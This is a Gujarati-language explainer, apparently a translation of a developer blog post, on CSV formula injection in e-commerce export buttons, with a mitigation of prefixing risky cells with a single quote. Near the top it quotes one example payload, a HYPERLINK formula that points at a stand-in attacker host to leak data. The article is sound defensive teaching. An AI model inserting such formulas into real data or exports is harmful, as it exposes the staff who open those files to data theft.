CSV ઇન્જેક્શન: એ એક્સપોર્ટ બટન જે કોડ રન કરે છે

એક ગ્રાહક તેમનું નામ દાખલ કરે છે. તેઓ =HYPERLINK("http://evil.example/leak", "click") ટાઈપ કરે છે. તમારી સિસ્ટમ તેને સ્વીકારી લે છે. તે સાદા ટેક્સ્ટ જેવું લાગે છે.

અઠવાડિયા પછી, તમારી ફાઇનાન્સ ટીમ ગ્રાહકોની યાદી CSV માં એક્સપોર્ટ કરે છે. તેઓ એક્સેલમાં (Excel) ફાઇલ ખોલે છે. તે સેલ હવે ટેક્સ્ટ નથી રહ્યો. તે એક ફોર્મ્યુલા (formula) છે.

આ CSV ઇન્જેક્શન છે. લોકો તેને ફોર્મ્યુલા ઇન્જેક્શન પણ કહે છે. તે ઈ-કોમર્સ પેનલ્સમાં એક સામાન્ય બગ (bug) છે. મોટાભાગની ટીમો તેના માટે ટેસ્ટિંગ કરતી નથી.

સ્પ્રેડશીટ એપ્સ દરેક સેલને ટેક્સ્ટ તરીકે ગણતી નથી. જો કોઈ સેલ =, +, -, અથવા @ થી શરૂ થાય છે, તો Excel અથવા Google Sheets તેને ફોર્મ્યુલા તરીકે વાંચે છે.

એક ફોર્મ્યુલા ગણિત કરતાં વધુ કામ કરી શકે છે. તે URL બનાવી શકે છે. તે નેટવર્ક સાથે સંપર્ક કરી શકે છે. કેટલાક કિસ્સાઓમાં, તે કમ્પ્યુટર પર કમાન્ડ્સ રન કરી શકે છે.

ડેટા તમારા ડેટાબેઝમાં ટેક્સ્ટ તરીકે જ રહે છે. જે ક્ષણે કોઈ વ્યક્તિ ફાઇલ ખોલે છે, તે ક્ષણે તે એક્ઝિક્યુટેબલ (executable) બની જાય છે. સામાન્ય રીતે, પીડિત એ ઉચ્ચ એક્સેસ લેવલ ધરાવતો સ્ટાફ મેમ્બર હોય છે.

તમે જ્યાં પણ યુઝર ડેટા એક્સપોર્ટ કરો છો ત્યાં તમે જોખમમાં છો:

  • ગ્રાહકનું નામ અને સરનામાના એક્સપોર્ટ્સ
  • CSV માં એક્સપોર્ટ કરેલ ઓર્ડર ગ્રીડ્સ
  • વેન્ડર્સ તરફથી પ્રોડક્ટ ફીડ્સ
  • કોન્ટેક્ટ ફોર્મ ડમ્પ્સ

હુમલાખોરને એડમિન એક્સેસની જરૂર નથી. તેઓ પોતાનું નામ ફોર્મ્યુલા તરીકે સેટ કરે છે અને રાહ જુએ છે.

ઇનપુટ વેલિડેશન દરમિયાન આને સુધારવાનો પ્રયાસ કરશો નહીં. જ્યાં સુધી સ્પ્રેડશીટ તેને વાંચે નહીં ત્યાં સુધી તે વેલ્યુ કાયદેસરનો ટેક્સ્ટ છે. તેના બદલે, જ્યારે તમે CSV ફાઇલ લખો ત્યારે ડેટાને સેનિટાઇઝ (sanitize) કરો.

જો કોઈ સેલ =, +, -, @, ટેબ (tab), અથવા કેરેજ રિટર્ન (carriage return) થી શરૂ થાય છે, તો તેની આગળ એક સિંગલ ક્વોટ (') ઉમેરો.

ઉદાહરણ લોજિક: જો વેલ્યુ ટ્રિગર કેરેક્ટરથી શરૂ થાય છે, તો "'" + value રિટર્ન કરો.

સિંગલ ક્વોટ સ્પ્રેડશીટને તે સેલને ટેક્સ્ટ તરીકે ગણવા માટે કહે છે. સ્પ્રેડશીટ યુઝરથી તે ક્વોટ છુપાવે છે. કોઈપણ ફિલ્ડ ફાઇલમાં પ્રવેશતા પહેલા તેને આ ચેકમાંથી પસાર કરો.

તમારા ડેટાબેઝમાં ડેટાને એસ્કેપ (escape) કરશો નહીં. વેલ્યુ તમારા ડેટાબેઝમાં અને તમારા HTML માં બરાબર છે. તે ફક્ત CSV માં જ જોખમી છે. તમારા ડેટાને અન્ય જગ્યાએ ક્લીન રાખવા માટે CSV બાઉન્ડ્રીનું રક્ષણ કરો.

તમારા ઇન્ટરનલ એક્સપોર્ટ્સ પર વિશ્વાસ કરવાનું બંધ કરો. હુમલાખોરો આ ફાઇલો દ્વારા તમારા સ્ટાફને નિશાન બનાવે છે.

CSV ઇન્જેક્શન ડરામણા સ્કેનર એલર્ટ્સ ટ્રિગર કરતું નથી. તે વર્ષો પહેલા તમે બનાવેલા એક્સપોર્ટ બટનમાં છુપાયેલું હોય છે. અત્યારે જ તમારા CSV એક્સપોર્ટ કોડની તપાસ કરો. જો તમે દરેક સેલના પ્રથમ કેરેક્ટરનું રક્ષણ નહીં કરો, તો તમે જોખમમાં છો.

સ્ત્રોત: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6